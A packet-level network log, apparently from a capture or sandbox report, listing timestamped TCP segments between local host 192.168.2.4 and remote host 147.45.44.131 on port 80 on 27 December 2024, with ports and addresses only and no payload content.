Dec 27, 2024 22:33:10.082855940 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.082870007 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.082984924 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.083004951 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.083018064 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.083033085 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.083070040 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.088680029 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088742971 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088752985 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088805914 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.088850021 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088861942 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088874102 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088887930 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.088901043 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.088924885 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.089042902 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.089055061 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.089099884 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.089113951 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.089191914 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.160582066 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.160614967 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.160712957 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.202714920 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.202764034 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.202824116 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.208444118 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.208549023 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.208614111 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.212630033 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.241137028 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.241269112 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.241400003 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.245217085 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.245332003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.245491028 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.253643036 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.256623983 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.256721020 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.256732941 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.264600039 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.265077114 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.265132904 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.265206099 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.273484945 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.273504019 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.273542881 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.281773090 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.281914949 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.281994104 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.290085077 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.290173054 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.290189981 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.290205956 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.290251970 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.290422916 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.293175936 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.293190002 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.293272018 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.294230938 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.294373035 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.294430017 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.295608044 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.295706987 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.295763969 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.298578978 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.298625946 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.298640013 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.302700043 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.302799940 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.302894115 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.303983927 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.304141045 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.304197073 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.306929111 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.306977034 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.307074070 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.310492992 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.310556889 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.310621023 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.311077118 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.311170101 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.311228037 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.315346003 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.315479994 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.315490961 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.318916082 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.319024086 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.319075108 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.319439888 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.319552898 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.319602966 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.323740959 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.323791027 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.327344894 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.327476978 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.327539921 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.327846050 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.327908039 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.327956915 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.335753918 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.335858107 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.335907936 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.336270094 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.336395979 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.336445093 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.344065905 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.344192028 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.344275951 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.344624996 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.344695091 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.344749928 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.352488041 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.352606058 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.352662086 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.353054047 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.353111982 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.353162050 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.360893965 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.360958099 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.361010075 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.361471891 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.361526966 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.361582994 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.369189978 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.369385004 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.369446039 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.384368896 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.384505987 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.384561062 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.388433933 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.412724972 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.412812948 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.412873030 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.436346054 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.443456888 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.443582058 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.443630934 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.446082115 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.446199894 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.446255922 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.451281071 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.451387882 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.451431036 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.456465006 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.456572056 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.456634045 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.461679935 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.461755037 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.461808920 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.466883898 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.467005968 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.467053890 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.472063065 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.472176075 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.472239017 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.477248907 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.477365017 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.477416039 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.482465982 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.482587099 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.482650042 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.487673998 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.487804890 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.487858057 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.491338015 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.491369963 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.491445065 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.492815971 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.492918968 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.492971897 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.493987083 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.494118929 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.494174957 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.498042107 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.498148918 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.498200893 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.499383926 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.499474049 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.499525070 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.503235102 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.503355980 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.503403902 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.503617048 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.503712893 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.503766060 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.504750967 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.504865885 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.504919052 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.506254911 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.507270098 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.507322073 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.507348061 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.508385897 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.508502960 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.508548975 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.510097027 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.510226965 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.510281086 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.512532949 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.512631893 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.512661934 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.513600111 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.513758898 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.513812065 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.515511990 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.515584946 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.515641928 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.517841101 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.517896891 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.517966032 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.518790960 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.518886089 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.518939018 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.520798922 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.520855904 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.520911932 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.523145914 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.523200989 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.523269892 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.523999929 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.524050951 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.524104118 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.526137114 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.526267052 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.526321888 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.528441906 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.528490067 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.528554916 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.529160023 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.529254913 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.529301882 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.531480074 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.531568050 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.531629086 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.533746958 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.533803940 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.533848047 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.534363985 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.534533978 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.534584045 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.536865950 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.537003040 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.537062883 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.539081097 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.539163113 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.539201975 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.539527893 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.539664984 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.539767981 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.542272091 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.542511940 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.542563915 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.544358969 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.544431925 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.544519901 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.544740915 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.544888020 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.544933081 CET	49742	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.547586918 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.547750950 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.547813892 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.548162937 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.548281908 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.548304081 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.550122976 CET	80	49742	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.552006960 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.552110910 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.552129030 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.552943945 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.553045988 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.553093910 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.555855036 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.555912018 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.555921078 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.558343887 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.558484077 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.558540106 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.559607029 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.559664965 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.559706926 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.563456059 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.563558102 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.563576937 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.563616037 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.563745022 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.563790083 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.567177057 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.567276001 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.567302942 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.569031954 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.569160938 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.569209099 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.570986032 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.571039915 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.571089983 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.574321032 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.574435949 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.574521065 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.574801922 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.574850082 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.574887991 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.578629971 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.578744888 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.578869104 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.579674006 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.579750061 CET	80	49743	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.579806089 CET	49743	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.582429886 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.582489967 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.582531929 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.585994005 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586047888 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586066008 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586127996 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.586179018 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586194992 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586210966 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586226940 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586229086 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.586255074 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.586314917 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586342096 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586359024 CET	80	49744	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586361885 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.586405039 CET	49744	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.586498976 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586514950 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.586564064 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.590128899 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.590147018 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.590188026 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.593817949 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.593873024 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.593943119 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.597626925 CET	80	49741	147.45.44.131	192.168.2.4
Dec 27, 2024 22:33:10.597711086 CET	49741	80	192.168.2.4	147.45.44.131
Dec 27, 2024 22:33:10.644771099 CET	80	49742	147.45.44.131	192.168.2.4
